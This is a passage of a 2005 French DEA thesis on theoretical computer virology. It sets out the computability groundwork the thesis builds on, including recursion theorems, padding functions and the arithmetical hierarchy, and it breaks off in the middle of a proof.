Virologie informatique

Matthieu Kaczmarek

Institut National
Polytechnique de Lorraine

Département de formation doctorale en informatique

École Nationale Supérieure des Mines de Nancy
École doctorale IAEM Lorraine

Virologie informatique

MÉMOIRE

soutenu le 29 juin 2005

pour l'obtention du

DEA Informatique de Lorraine

par

M. Kaczmarek

Composition du jury

N. Carbonell
O. Festor
D. Galmiche
D. Kratsch
D. Méry

Encadrant : J.-Y. Marion

Laboratoire Lorrain de Recherche en Informatique et ses Applications — UMR 7503

Mis en page avec la classe thloria.

Note préliminaire

Le point de départ de ce travail est le contrôle des ressources utilisées lors de l'exécution d'un programme par des méthodes apparentées aux analyses statiques. Ce thème de recherche forme le cœur du projet ACI sécurité CRISS. Une des applications envisagées est la protection face aux attaques du type déni de service qui emploient des techniques de « buffer overflow ». Le stage de DEA s'est concentré sur l'analyse de cette forme d'attaque.

Une fois le problème cerné, nous nous sommes rendus compte que pour aborder correctement ce sujet, nous avions besoin d'une formalisation de l'agresseur qui est un virus... A notre grande surprise, et après avoir pris contact avec un spécialiste de la virologie informatique Eric Filiol de réputation mondiale, il y a au plus dix publications théoriques sur le sujet depuis quinze ans. Nous avons décidé d'étudier les virus avec un point de vue fondamental.

Ce mémoire de DEA traite de la notion de virus informatique. Nous donnons des exemples de virus pour illustrer notre démarche scientifique. Nous déclinons toute responsabilité quand à l'utilisation réelle de ceux-ci.

Résumé

Nous nous intéressons à l'aspect théorique des virus informatiques. Pour cela nous proposons une définition fondée sur les théorèmes d'itération et de récursion. Nous montrons qu'elle capture naturellement les définitions antérieures et en particulier celle de L. Adleman. Nous établissons une méthode générique de construction de virus et nous l'illustrons par quelques exemples. Nous mettons en avant les liens qu'entretiennent la spécialisation de programme et la propagation de virus. Finalement, nous étudions des stratégies de détection et de protection en nous appuyant sur les théories de la calculabilité et de l'information.

Résultats

Ce travail comporte plusieurs contributions originales à la virologie informatique.

Nous proposons une nouvelle modélisation des virus capturant les définitions précédentes. Cette modélisation repose fortement sur le théorème d'itération (s-m-n) et le théorème de récursion. Elle capture de nombreux cas pratiques de virus.

Nous montrons que la détection est un problème Π_2.

Nous proposons deux nouvelles méthodes de protection d'un système. La première s'appuie sur l'étude des failles et la seconde sur la notion d'entropie.

Un article, « Toward an abstract computer virology » (15 pages), co-écrit avec J.-Y. Marion et G. Bonfante, a été soumis à ICTAC'05 (International Colloquium on Theoretical Aspects of Computing). Une copie est jointe en annexe B.

Table des matières

Introduction

Les virus informatiques sont devenus une nuisance quotidienne de l'informatique. Plusieurs livres, [Lud98] ou [Szo05], traitent de leurs aspects pratiques, mais à notre connaissance, très peu d'études théoriques ont été menées sur ce sujet. Seulement dix articles sont parus ces quinze dernières années. Cela nous paraît surprenant puisque l'origine de l'expression « virus informatique » provient des travaux théoriques de F. Cohen [Coh86, Coh87a, Coh87b] et de L. Adleman [Adl88], au milieu des années 80. Nous pensons qu'un approfondissement théorique est un passage obligé afin de se prémunir contre cette menace. Le livre de E. Filol [Fil04], expert en virologie informatique et en cryptologie, va dans ce sens. Une meilleure compréhension des rouages de l'auto-reproduction conduira certainement vers des stratégies de détection et de protection prometteuses. Pour être plus complet citons les approches intéressantes de M. Bishop [Bis91], de H. Thimbleby, S. Anderson et P. Cairns [HTC99], et de D. Chess et S. White [CW00], malheureusement ces différentes études n'ont pas eu l'impact attendu.

Cela étant, la première question à se poser pour étudier les virus informatiques est « Qu'est ce qu'un virus ? ». F. Cohen [Coh86] y répond par une modélisation dans le cadre des machines de Turing. Pour lui, un virus est une séquence de symboles telle que, si elle est exécutée, elle se duplique plus loin sur le ruban de travail. L. Adleman [Adl88] considère la question d'un point de vue plus abstrait en se référant à la théorie des fonctions récursives. Il définit un virus comme une fonction associant tout programme à une forme infectée. Ainsi, il obtient un modèle indépendant de toute machinerie. Un article plus récent, de Z. Zuo et M. Zhou [ZZ04], améliore cette dernière étude en construisant des virus polymorphes.

Le point commun de ces travaux est la capacité d'auto-reproduction. Intuitivement, cette propriété induit une aptitude à se décrire soi-même, par suite, le théorème de récursion de Kleene devient une pièce maîtresse dans la construction de tout virus informatique. Notre étude utilise les fondements de la calculabilité pour comprendre ces idées. Nous proposons une définition qui intègre naturellement les formalismes précédents et dégage le rôle du théorème de récursion. De notre point de vue, un virus est un programme $\mathbf{v}$ solution de l'équation

$$\varphi_{\mathbf{v}}(\mathbf{p}, x) = \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) \ , \tag{1}$$

où $\mathcal{B}$ désigne la méthode de propagation dans un système donné, exploitée par le virus $\mathbf{v}$. En quelque sorte, $\mathcal{B}$ est une faille de l'environnement de programmation.

Comparée aux études précédentes, cette définition possède au moins trois avantages. En premier lieu, un virus est un programme et non plus une fonction. Nous accédons ainsi à la notion d'environnement de programmation. Ensuite, nous mettons en évidence un mécanisme de propagation. Cela permet de voir le phénomène de duplication sous un nouvel angle : nous lierons souvent les fonctions $\mathcal{B}$ et s-m-n. Nous insisterons sur ce point en nous référant aux travaux sur la spécialisation de programme de N. Jones [Jon97]. Enfin, notre définition est fondée sur le théorème de récursion en vue d'exhiber simplement des constructions fondamentales, le virus générique de la partie 2.1.4 en sera une illustration.

Notre étude est scindée en trois axes. Le premier présente quelques rappels en calculabilité. La section 1.1 définit le cadre de notre formalisme. La partie 1.2 insiste sur les théorèmes d'itération et de récursion qui sont les piliers de notre raisonnement. En 1.3, nous présentons des éléments de calculabilité. Le deuxième axe définit une virologie abstraite. Dans la section 2.1, nous proposons une définition pour les virus, nous l'illustrons par quelques exemples de duplication et la construction d'un virus générique. En 2.2 nous reprenons les formalismes de L. Adleman et de F. Cohen. Ensuite nous détaillons le phénomène de mutation, nous reprenons l'étude de Z. Zuo et M. Zhou concernant le polymorphisme en 2.3, et nous décrivons la notion de métamorphisme en 2.4. Enfin, notre troisième axe est consacré aux moyens de défense. La section 3.1 étudie la calculabilité de la détection de virus et nous terminons par la section 3.2, en proposant une stratégie de défense fondée sur la théorie de l'information.

Chapitre 1

Pré-requis

1.1 Environnements de programmation

Plusieurs ouvrages traitent des relations existant entre fonctions et programmes, on peut par exemple se référer à N. Jones [Jon97]. On constate que ces entités appartiennent à deux mondes distincts. Un programme est un objet syntaxique représenté par des symboles alors qu'une fonction est un objet mathématique abstrait. On lie ces deux mondes en considérant qu'un programme calcule une certaine fonction. Néanmoins, toute personne ayant pratiqué la programmation dans un langage quelconque, aura remarqué qu'il est possible d'écrire des programmes différents qui calculent la même fonction. De plus, il est bien connu, qu'il existe des fonctions qui ne sont calculables par aucun programme, on peut citer le problème de l'arrêt d'une machine de Turing [Tur36].

1.1.1 Fonctions

On notera $f : A \to B$ si f est une fonction partielle de A vers B. Si x et y sont en relation par f, on désignera l'élément y par $f(x)$, et on notera $f(x) \downarrow$ pour signifier que f est bien définie en x. Si pour un certain $x \in A$, il n'existe pas d'élément $y \in B$ tel que $f(x) = y$ on dira que f n'est pas définie en x et on notera $f(x) \uparrow$. De plus, pour deux fonctions partielles $f : A \to B$ et $g : A \to B$, si pour tout $x \in A$, $f(x)$ et $g(x)$ désignent le même élément ou si $f(x) \uparrow$ et $g(x) \uparrow$, on dira que f et g sont identiques et on notera $f \approx g$.

Soit une fonction partielle $f : A \to B$, on définit le domaine de f par l'ensemble des $x \in A$ tel que $f(x) \downarrow$, et on le notera $Dom(f)$, ainsi $Dom(f) = \{x \mid f(x) \downarrow\}$. L'image d'un ensemble C par f, notée $f(C)$, est l'ensemble des y de B pour lesquels il existe un $x \in C$ tel que $f(x) = y$, soit $f(C) = \{y \mid \exists x \in C \ : \ f(x) = y\}$.

Pour faciliter la compréhension, on emploiera la notation $\lambda x.f(x)$ pour désigner la fonction qui à x associe $f(x)$.

On se munit d'un domaine de calcul $\mathcal{D}$, par commodité nous considérons $\mathcal{D}$ comme un ensemble de mots construits sur un alphabet donné. La taille $|u|$ d'un mot u est son nombre de lettres. Par la suite nous considérons essentiellement des fonctions du type $\mathcal{D} \to \mathcal{D}$.

1.1.2 Langages de programmation

Nous ne considérons pas un langage de programmation en particulier mais une abstraction simplifiée. Néanmoins, nous illustrons nos constructions formelles par des exemples bash, afin

de faciliter la compréhension et aussi pour montrer que nos idées directrices sont reproductibles dans un environnement de programmation courant.

On suppose aussi que l'on dispose d'une fonction bijective $(\_,\_) : \mathcal{D} \times \mathcal{D} \to \mathcal{D}$ de codage des couples associé à deux projecteurs $\pi_1 : \mathcal{D} \to \mathcal{D}$ et $\pi_2 : \mathcal{D} \to \mathcal{D}$. Ainsi, depuis deux mots x et y on forme un nouveau mot (x, y) qui peut être décomposé en $\pi_1(x, y) = x$ et $\pi_2(x, y) = y$. Classiquement, on associe tout n-uplet $(x_1, ..., x_n)$ à $(x_1, (..., (x_{n-1}, x_n)...))$.

Définition 1 (Langage de programmation)**.** *Un langage de programmation est une fonction φ de $\mathcal{D} \to (\mathcal{D} \to \mathcal{D})$. Pour tout programme $\mathbf{p} \in \mathcal{D}$, $\varphi(\mathbf{p})$ est la fonction partielle calculée par $\mathbf{p}$. Par convention, nous écrirons $\varphi_{\mathbf{p}}$ pour désigner $\varphi(\mathbf{p})$.*

Par la suite, un objet qualifié de « mot » ou de « programme » désignera un élément de $\mathcal{D}$.

Nous soulignons que cette formalisation ne fait aucune distinction entre programmes et données. Dans l'informatique moderne cette distinction est de moins en moins claire. Par exemple, un fichier `Excel` ou `Word` peut comporter des macros et donc être vu comme un programme. De même, les fichiers de média sont interprétés par des `codecs`, ce qui peut aussi être assimilé à l'exécution de programmes. Ce point est fondamental dans notre analyse, de nombreux vers de courriels se propagent grâce à de tels fichiers. Pour faciliter la lecture, nous écrirons le plus souvent possible en gras les mots qui sont intuitivement des programmes, mais ceci reste un artifice.

1.1.3 Langages de programmation acceptables

Les propriétés de nombreux langages ont été étudiées, en particulier on peut citer le langage des machines de Turing établi par A. Turing [Tur36]. Ce langage a de nombreuses qualités et tous les modèles de calculabilité proposés par la suite sont équivalents aux machines de Turing. C'est ainsi que la thèse de A. Church, *Les fonctions calculables sont exactement les fonctions décrites par les machines de Turing*, est communément admise.

De ce fait, nous utiliserons la notion abstraite due à H. Rogers [Rog67] et V. Uspenskii [Usp56] qui nous permettra de parler rigoureusement d'un langage de programmation par la suite.

Définition 2 (Langage de programmation acceptable)**.** *On dira qu'un langage de programmation φ est acceptable si il possède les propriétés suivantes.*

1. *Pour tout programme $\mathbf{p}$, la fonction $\varphi_{\mathbf{p}}$ est calculable par une machine de Turing.*
2. *Pour toute fonction f calculable par une machine de Turing, il existe un programme $\mathbf{p}$ tel que $f \approx \varphi_{\mathbf{p}}$.*
3. *Il existe un programme $\mathbf{u}$, dit programme universel, tel que pour tout programme $\mathbf{p}$,*

$$\lambda x.\varphi_{\mathbf{u}}(\mathbf{p}, x) \approx \varphi_{\mathbf{p}} \ . \tag{1.1}$$

4. *Il existe une fonction S calculable par φ telle que pour tout programme $\mathbf{p}$ et tout mot x,*

$$\varphi_{S(\mathbf{p},x)} \approx \lambda y.\varphi_{\mathbf{p}}(x, y) \ . \tag{1.2}$$

La plupart des langages de programmation courants sont acceptables et il est très difficile de construire un langage non trivial qui ne soit pas acceptable. Par la suite nous ne considérerons que des langages de programmation acceptables.

Une fonction partielle $f : \mathcal{D} \to \mathcal{D}$ est dite semi-calculable si il existe un programme $\mathbf{p}$ tel que $f \approx \varphi_{\mathbf{p}}$. Si, de plus, f est totale, elle sera dite calculable. On dira qu'un ensemble est

semi-calculable s'il correspond au domaine d'une fonction semi-calculable. Les ensembles semi-calculables sont donnés par

$$\{Dom(\varphi_x) \mid x \in \mathcal{D}\} \ . \tag{1.3}$$

Un ensemble est dit calculable si lui même et son complémentaire, sont semi-calculables.

1.1.4 Propriétés classiques

Nous énonçons quelques propriétés que nous utiliserons implicitement par la suite. On trouvera les démonstrations associées dans [Rog67].

Proposition 1. *Nous avons les propriétés suivantes.*
- *Les fonctions constantes sont calculables.*
- *Il existe une fonction de couplage bijective et calculable* $(\_,\_)$ *dont les projecteurs associés* $\pi_1(x,y) = x$ *et* $\pi_2(x,y) = y$ *sont calculables.*
- *La composée de fonctions semi-calculables (resp. calculables) est semi-calculable (resp. calculable).*
- *La restriction d'une fonction semi-calculable à un domaine semi-calculable est une fonction semi-calculable.*

1.2 Théorèmes fondamentaux

Nous présentons les théorèmes d'itération et de récursion. Se sont les deux résultats majeurs de la théorie des fonctions récursives. Nous les utiliserons continuellement au cours de la partie 2.

1.2.1 Théorème d'itération

La fonction S de la propriété (1.2) est bien connue sous le nom de fonction s-m-n. Dans notre formalisme le théorème d'itération est une conséquence directe de la définition de langage de programmation acceptable.

Théorème 1 (Théorème d'itération)**.** *Il existe une fonction calculable* S *telle que pour tous mots* x, y *et* $\mathbf{p}$,

$$\varphi_{S(\mathbf{p},x)} \approx \lambda y.\varphi_{\mathbf{p}}(x,y) \tag{1.4}$$

La fonction S permet de spécialiser un programme par rapport à un de ses arguments. L'étude de ce résultat a mené aux notions d'évaluation partielle et de générateur de compilateurs, étudiées par N. Jones [Jon97]. Nous soulignons cet aspect de spécialisation car il se retrouve dans la majeure partie de nos constructions de virus. Dans un certain sens, un virus semble spécialiser pour lui même les programmes qu'il infecte. Nous pensons que cela n'est pas une simple coïncidence. Il est possible que l'existence de virus pour un langage de programmation soit directement liée à l'existence de la fonction s-m-n.

Une autre conséquence importante du théorème d'itération est l'auto-application. Exprimée par $S(\mathbf{p},\mathbf{p})$, elle correspond à la construction d'un programme capable de lire son propre code. Cela se retrouve dans la pratique avec le symbole \$0 du langage bash. Ce symbole désigne le code du programme exécuté. Le lecteur remarquera que l'utilisation de \$0 sera une constante dans tous les exemples de virus que nous produirons.

1.2.2 Théorème de récursion

Nous présentons maintenant le théorème de récursion de Kleene. Ce théorème est, de notre point de vue, comme l'un des résultats les plus profonds de la théorie des fonctions récursives. Il est aussi au cœur de notre formalisation.

Théorème 2 (Théorème de récursion de Kleene)**.** *Pour toute fonction semi-calculable f, il existe un programme* $\mathbf{e}$ *tel que pour tout mot x,*

$$\varphi_{\mathbf{e}}(x) = f(\mathbf{e}, x) \ . \tag{1.5}$$

Démonstration. Soit f une fonction semi-calculable. On définit la fonction g par $g(y,x) = f(S(y,y),x)$. Elle est semi-calculable comme composée de fonctions semi-calculables, donc il existe un programme $\mathbf{p}$ qui calcule g. On a

$$\begin{aligned} g(y,x) &= \varphi_{\mathbf{p}}(y,x) && \text{par définition de } \mathbf{p} \\ &= \varphi_{S(\mathbf{p},y)}(x) && \text{par le théorème d'itération .} \end{aligned} \qquad (\checkmark)$$

Posons $\mathbf{e} = S(\mathbf{p},\mathbf{p})$, on a alors

$$\begin{aligned} f(\mathbf{e},x) &= f(S(\mathbf{p},\mathbf{p}),x) && \text{par définition de } \mathbf{e} \\ &= g(\mathbf{p},x) && \text{par définition de } g \\ &= \varphi_{S(\mathbf{p},\mathbf{p})}(x) && \text{par } (\checkmark) \\ f(\mathbf{e},x) &= \varphi_{\mathbf{e}}(x) && \text{par définition de } \mathbf{e} \ . \end{aligned}$$

Le mot $\mathbf{e}$ satisfait le théorème. □

Une application classique de ce théorème est la preuve de l'existence de fonctions calculant leurs propres codes. Considérons la première projection $\pi_1(x,y) = x$. D'après le théorème de récursion de Kleene il existe un programme $\mathbf{e}$ tel que $\varphi_{\mathbf{e}}(y) = \pi_1(\mathbf{e},y) = \mathbf{e}$. Quelque soit son entrée, le programme $\mathbf{e}$ calcule sont propre code. Un tel programme peut être illustré par le code bash suivant.

```
cat $0
```

De nombreux auteurs qualifient $\mathbf{e}$ de programme auto-reproducteur, il est même parfois considéré comme l'analogue de l'automate cellulaire auto-reproducteur de J. von Neumann [vN66]. C'est donc naturellement que le théorème de récursion s'imposera comme point de départ pour la modélisation des virus informatiques, qui sont eux aussi des programmes auto-reproducteurs.

Le théorème de récursion possède de nombreuses formes. En particulier, nous considérons ici celle présentée par H. Rogers [Rog67]. Elle nous sera très utile pour définir la propriété de polymorphisme.

Théorème 3 (Théorème de récursion de Rogers)**.** *Pour toute fonction calculable f, il existe un programme* $\mathbf{e}$ *tel que pour tout mot x,*

$$\varphi_{\mathbf{e}}(x) = \varphi_{f(\mathbf{e})}(x) \ . \tag{1.6}$$

Démonstration. Soit f une fonction semi-calculable. On définit les fonctions g et h par

$$\begin{aligned} g(y,x) &= \varphi_{\varphi_y(y)}(x) \\ h(y) &= f(S(\mathbf{p},y)) \ . \end{aligned}$$

g est semi-calculable comme composée de fonctions semi-calculables, de même, h est calculable comme composée de fonctions calculables. Donc il existe deux programmes $\mathbf{p}$ et $\mathbf{q}$ calculant respectivement g et h.

Comme h est calculable, $h(\mathbf{q}) = \varphi_{\mathbf{q}}(\mathbf{q})\downarrow$, ainsi

$$\begin{aligned} g(\mathbf{q},x) &= \varphi_{\varphi_{\mathbf{q}}(\mathbf{q})}(x) && \text{par définition de } g \\ &= \varphi_{h(\mathbf{q})}(x) && \text{par définition de } \mathbf{q} \\ g(\mathbf{q},x) &= \varphi_{f(S(\mathbf{p},\mathbf{q}))}(x) && \text{par définition de } h \ . \end{aligned} \qquad (\checkmark)$$

Posons maintenant $\mathbf{e} = S(\mathbf{p},\mathbf{q})$, on a alors

$$\begin{aligned} \varphi_{\mathbf{e}}(x) &= \varphi_{S(\mathbf{p},\mathbf{q})}(x) && \text{par définition de } \mathbf{e} \\ &= \varphi_{\mathbf{p}}(\mathbf{q},x) && \text{par le théorème d'itération} \\ &= g(\mathbf{q},x) && \text{par définition de } \mathbf{p} \\ &= \varphi_{f(S(\mathbf{p},\mathbf{q}))}(x) && \text{par } (\checkmark) \\ \varphi_{\mathbf{e}}(x) &= \varphi_{f(\mathbf{e})}(x) && \text{par définition de } \mathbf{e} \ . \end{aligned}$$

Le mot $\mathbf{e}$ satisfait le théorème. □

On notera le lien entre les points fixes exhibés par ces deux théorèmes de récursion. En considérant f, une fonction semi-calculable, $\mathbf{p}$, un programme la calculant et $\mathbf{e}$, un point fixe de f selon le théorème de récursion de Kleene. On a

$$\begin{aligned} \varphi_{\mathbf{e}}(x) &= f(\mathbf{e},x) && \text{par définition de } \mathbf{e} \\ &= \varphi_{\mathbf{p}}(\mathbf{e},x) && \text{par définition de } \mathbf{p} \\ \varphi_{\mathbf{e}}(x) &= \varphi_{S(\mathbf{p},\mathbf{e})}(x) && \text{par le théorème d'itération} \ . \end{aligned} \qquad (✠)$$

En posant $g(y) = S(\mathbf{p},y)$ et par application de (✠) , on a

$$\varphi_{g(\mathbf{e})} = \varphi_{S(\mathbf{p},\mathbf{e})}(x) = \varphi_{\mathbf{e}}(x) \ .$$

Ainsi, $\mathbf{e}$ est un point fixe de g selon le théorème de récursion de Rogers.

1.2.3 Fonctions de padding

Un outil qui nous sera très utile est la notion de padding.

Définition 3 (Fonction de padding)**.** *Une fonction $\mathcal{P}(x,y)$ est dite de padding pour φ si*

$$\forall \mathbf{p}, x \in \mathcal{D} \ : \varphi_{\mathbf{p}} \approx \varphi_{\mathcal{P}(\mathbf{p},x)} \qquad (1.7)$$

$$\forall \mathbf{p},\mathbf{q},x,y \in \mathcal{D} \ : \mathbf{p} \neq \mathbf{q} \ \textit{ou}\ x \neq y \Rightarrow \mathcal{P}(\mathbf{p},x) \neq \mathcal{P}(\mathbf{q},y) \ . \qquad (1.8)$$

L'existence de fonction de padding calculable est due à M. Davis [Dav58], on peut en trouver une construction dans la preuve du théorème 1.III de [Rog67].

Théorème 4. *Il existe une fonction de padding $\mathcal{P}$ calculable.*

Nous présentons une application de ce type de fonctions. Le corollaire suivant est inspiré du théorème de récursion paramétré de [Rog67].

Corollaire 5 (Générateur de points fixes)**.** *Pour toute fonction calculable f, il existe une fonction calculable $\mathcal{G}$ telle que*

$$\forall i \in \mathcal{D} \ : \varphi_{\mathcal{G}(i)} \approx \varphi_{f(\mathcal{G}(i))} \tag{1.9}$$

$$\forall i, j \in \mathcal{D} \ : i \neq j \Rightarrow \mathcal{G}(i) \neq \mathcal{G}(j) \ . \tag{1.10}$$

Démonstration. On considère une fonction de padding $\mathcal{P}$ calculable et un mot i. Nous reprenons la preuve du théorème de récursion de Rogers, ainsi $g(y,x) = \varphi_{\varphi_y(y)}(x)$, $h(y) = f(\mathcal{P}(S(\mathbf{p}, y), i))$ et les programmes $\mathbf{p}$ et $\mathbf{q}$ calculent g et h.

Comme h est calculable, $h(\mathbf{q}) = \varphi_{\mathbf{q}}(\mathbf{q})$ est défini, ainsi

$$\begin{aligned} g(\mathbf{q}, x) &= \varphi_{\varphi_{\mathbf{q}}(\mathbf{q})}(x) && \text{par définition de } g \\ &= \varphi_{h(\mathbf{q})}(x) && \text{par définition de } \mathbf{q} \\ g(\mathbf{q}, x) &= \varphi_{f(\mathcal{P}(S(\mathbf{p},\mathbf{q}),i))}(x) && \text{par définition de } h \ . \end{aligned} \qquad (\checkmark)$$

Posons maintenant $\mathbf{e} = \mathcal{P}(S(\mathbf{p}, \mathbf{q}), i)$, on a alors

$$\begin{aligned} \varphi_{\mathbf{e}}(x) &= \varphi_{\mathcal{P}(S(\mathbf{p},\mathbf{q}),i)}(x) && \text{par définition de } \mathbf{e} \\ &= \varphi_{S(\mathbf{p},\mathbf{q})}(x) && \text{par la propriété de padding} \\ &= \varphi_{\mathbf{p}}(\mathbf{q}, x) && \text{par le théorème d'itération} \\ &= g(\mathbf{q}, x) && \text{par définition de } \mathbf{p} \\ &= \varphi_{f(\mathcal{P}(S(\mathbf{p},\mathbf{q}),i))}(x) && \text{par } (\checkmark) \\ \varphi_{\mathbf{e}}(x) &= \varphi_{f(\mathbf{e})}(x) && \text{par définition de } \mathbf{e} \ . \end{aligned}$$

Cette construction est indépendante de i, posons $\mathcal{G}(i) = \mathcal{P}(S(\mathbf{q}, \mathbf{r}), i)$, on a alors la propriété (1.9), $\varphi_{\mathcal{G}(i)} \approx \varphi_{f(\mathcal{G}(i)}$. De plus, l'injectivité de $\mathcal{P}$ implique celle de $\mathcal{G}$, ce qui donne propriété (1.10). On conclut que $\mathcal{G}$ satisfait le théorème. □

1.3 Eléments de calculabilité

Pour évaluer la difficulté de détection des virus, nous aurons besoin d'approfondir la notion de calculabilité. Nous construisons une logique du premier ordre en réutilisant les symboles précédemment définis.

1.3.1 Formules Σ_n et Π_n

Nous nous plaçons dans le cadre de la logique du premier ordre. On se munit d'un ensemble dénombrable de variables $\mathcal{X}$. Les symboles $\wedge$, $\vee$, $\rightarrow$, $\leftrightarrow$, $\neg$, désignent respectivement le « et », le « ou », l'implication, l'équivalence et la négation, et sont associés à leurs interprétations standards.

Les symboles de fonction sont les éléments de $\mathcal{D}$, la fonction de couplage $(\_,\_)$ et φ. Les symboles de relation sont $\equiv$ (égal à) et $\preccurlyeq$ (sous chaîne).

Les symboles de quantification seront $\forall$ (pour tout) et $\exists$ (il existe). Pour toute formule F, toute variable v et pour tout c mot ou variable, on utilisera $\forall v \preccurlyeq c \ : \ F$ comme abréviation de $\forall v \ : \ v \preccurlyeq c \rightarrow F$ et $\exists v \preccurlyeq c \ : \ F$ comme abréviation de $\exists v \ : \ v \preccurlyeq c \wedge F$.

Nous allons maintenant définir une hiérarchie sur la forme des formules. Nous commencerons par la classe des formules Σ_0 qui nous servira de base. Les formules Σ_0 sont aussi appelées formules arithmétiques constructives.

Définition 4 (Formules Σ_0)**.** *La classe des formules Σ_0 est définie par le schéma de récurrence suivant.*

1. *Si chacun des symboles c_1, c_2 ou c_3 est un mot ou une variable, toute formule de l'une des formes suivantes est Σ_0.*

$$(c_1, c_2) \equiv c_3 \ , \quad \varphi_{c_1}(c_2) \equiv c_3 \ , \quad c_1 \equiv c_2 \ , \quad c_1 \preccurlyeq c_2 \ . \tag{1.11}$$

2. *Si F et G sont Σ_0 alors les formules suivantes le sont aussi.*

$$F \wedge G \ , \quad F \vee G \ , \quad F \rightarrow G \ , \quad F \leftrightarrow G \ , \quad \neg F \ . \tag{1.12}$$

3. *Si F est Σ_0, v une variable et c un mot ou une variable différente de v, alors les formules suivantes sont Σ_0.*

$$\forall v \preccurlyeq c \ : \ F \ , \quad \exists v \preccurlyeq c \ : \ F \ . \tag{1.13}$$

Classiquement, nous engendrons une hiérarchie en considérant que chaque nouvelle quantification ajoute un degré de difficulté.

Définition 5 (Préfixes et alternances)**.** *Soit $Q_1 x_1 ... Q_n x_n$ une séquence de quantification telle que pour tout $i \leq n$, $Q_i \in \{\forall, \exists\}$ et pour tout i, j distincts, les variables x_i et x_j soient distinctes.*

Si F est une formule Σ_0, on dira que $Q_1 x_1 ... Q_n x_n \ : \ F$ est de préfixe $Q_1 ... Q_n$. Le nombre d'alternance est le nombre de paires adjacentes et différentes de quantificateurs dans la séquence $Q_1 ... Q_n$.

Par exemple, $\exists x_1 \exists x_2 \forall x_3 \exists x_4 \ : \ \varphi_{x_5}(x_2) \equiv x_3$ est de préfixe $\exists\exists\forall\exists$ qui possède deux alternances. $\forall x_1 \exists x_2 \ : \ \varphi_{x_1}(x_3) \equiv x_2$ est de préfixe $\forall\exists$ qui possède une alternance.

Définition 6 (Formules Σ_n (resp. Π_n))**.** *Pour tout $n > 0$, un préfixe Σ_n (resp. Π_n) est un préfixe qui commence par $\exists$ (resp. $\forall$) et possède $n-1$ alternances.*

Une formule de préfixe Σ_n (resp. Π_n) est dite formule Σ_n (resp. Π_n).

En reprenant l'exemple précédent la formule $\exists x_1 \exists x_2 \forall x_3 \exists x_4 \ : \ \varphi_{x_5}(x_2) \equiv x_3$ est de préfixe Σ_3, et $\forall x_1 \exists x_2 \ : \ \varphi_{x_1}(x_3) \equiv x_2$ est de préfixe Π_2.

1.3.2 Réductibilité

Nous appliquons la classification précédente aux ensembles par les définitions suivantes.

Définition 7 (Ensemble exprimé par une formule)**.** *Pour toute formule possédant une unique variable libre, un ensemble A sera dit exprimé par la formule F si A est le plus grand ensemble de mots validant F dans l'interprétation standard. On généralise cette notion aux plus grandes arités en considérant des ensembles de n-uplets.*

Définition 8 (Ensemble Σ_n (resp. Π_n))**.** *Un ensemble est dit Σ_n (resp. Π_n) s'il est exprimé par une formule Σ_n (resp. Π_n).*

Nous définissons une relation permettant de comparer ces classes d'ensembles entre elles.

Définition 9 (Réductibilité)**.** *On dit que A est réductible à B, et on note $A \leq_r B$, si il existe une fonction calculable f telle que pour tout x, $x \in A \Leftrightarrow f(x) \in B$. On dit que f réduit l'ensemble A à l'ensemble B.*

Proposition 2. *$\leq_r$ est réflexive et transitive.*

Démonstration. L'identité réduit un ensemble à lui même. Soit trois ensembles A, B et C tels que f réduise A à B et g réduise B à C, alors $\lambda x.g(f(x))$ réduit A à C. □

L'intuition de la réductibilité est que, s'il existe une fonction f comme décrite dans la définition, pour savoir si un mot x est dans A, il suffit de calculer $f(x)$ (ce qui est « facile » puisque f est calculable) et de vérifier que $f(x)$ est dans B. Ainsi le problème de savoir si un mot est dans A à été transposé à celui de savoir si $f(x)$ est dans B, par suite A est considéré comme moins complexe.

Cette notion de réduction à inspirée celle en complexité qui est bien connue.

Définition 10 (Σ_n-complétude (resp. Π_n-complétude))**.** *Un ensemble B est Σ_n-complet (resp. Π_n-complet) s'il est Σ_n (resp. Π_n) et si pour tout A, ensemble Σ_n (resp. Π_n), $A \leq_r B$.*

Le lecteur pourra vérifier que si A est Σ_n-complet (resp. Π_n-complet) et si A est réductible à B alors B est Σ_n-complet (resp. Π_n-complet) par simple transitivité de $\leq_r$.

Nous énumérons quelques ensembles en situant leurs calculabilité. Par la suite nous les considérerons comme des ensembles de référence, on trouvera les preuves associées dans [Rog67].

Exemple 1.
- *$\mathcal{D}$, $\emptyset$, tous les ensembles calculables, sont des ensembles Σ_0.*
- *Tous les ensembles semi-calculables, sont des ensembles Σ_1.*
- *$\{x \mid \varphi_x(x)\downarrow\}$, $\{(x,y) \mid \varphi_x(y)\downarrow\}$, sont des ensembles Σ_1-complet.*
- *$\{x \mid \varphi_x$ est calculable$\}$, $\{x \mid Dom(\varphi_x)$ est infini$\}$, sont des ensembles Π_2-complet.*

1.3.3 Quelques résultats

Nous montrons deux théorèmes utilisés dans la partie 3 consacrée à la détection des virus.

Théorème 6. *L'ensemble des programmes pour une fonction calculable donnée est Π_2-complet.*

Démonstration. La démonstration suivante est inspirée du théorème 7.III de [Rog67].

Soit f une fonction calculable et $\mathbf{p}$ un programme la calculant. L'ensemble P des programmes calculant f est donné par l'ensemble des programmes $\mathbf{q}$ validant $\forall x \exists y \ : \ \varphi_{\mathbf{q}}(x) \equiv y \wedge \varphi_{\mathbf{p}}(x) \equiv y$ qui est une formule Π_2. Par suite P est bien un ensemble Π_2.

Montrons maintenant que P est Π_2-complet. On définit la fonction g par

$$g(x,y) = \begin{cases} f(y) & si\ \varphi_x(y)\downarrow \\ \uparrow & sinon \end{cases} ,$$

qui est semi-calculable comme restriction d'une fonction calculable à un domaine semi-calculable. Soit $\mathbf{e}$ un programme calculant g, par le théorème d'itération on a pour tout mot x,

$$\varphi_{S(\mathbf{e},x)} \approx \lambda y.\varphi_{\mathbf{e}}(x,y) \approx \lambda y.g(x,y) \ .$$

$T = \{\mathbf{q} | \varphi_{\mathbf{q}} \text{ est calculable}\}$ est un ensemble Π_2-complet de référence. Montrons que $\lambda x.S(\mathbf{e}, x)$ réduit T à P.

- Supposons que $\mathbf{p} \in T$, alors $\varphi_{\mathbf{p}}$ est calculable et donc totale, c'est à dire $\{y \mid \varphi_{\mathbf{p}}(y)\} = \mathcal{D}$. On remarque alors que par définition de g, $\lambda y.g(\mathbf{p}, y)$ et f sont identiques, ainsi

$$f \approx \lambda y.g(\mathbf{p}, y) \approx \varphi_{S(\mathbf{e},\mathbf{p})} \ .$$

  Donc $S(\mathbf{e}, \mathbf{p})$ est un programme calculant f et par suite un élément de P. On conclut

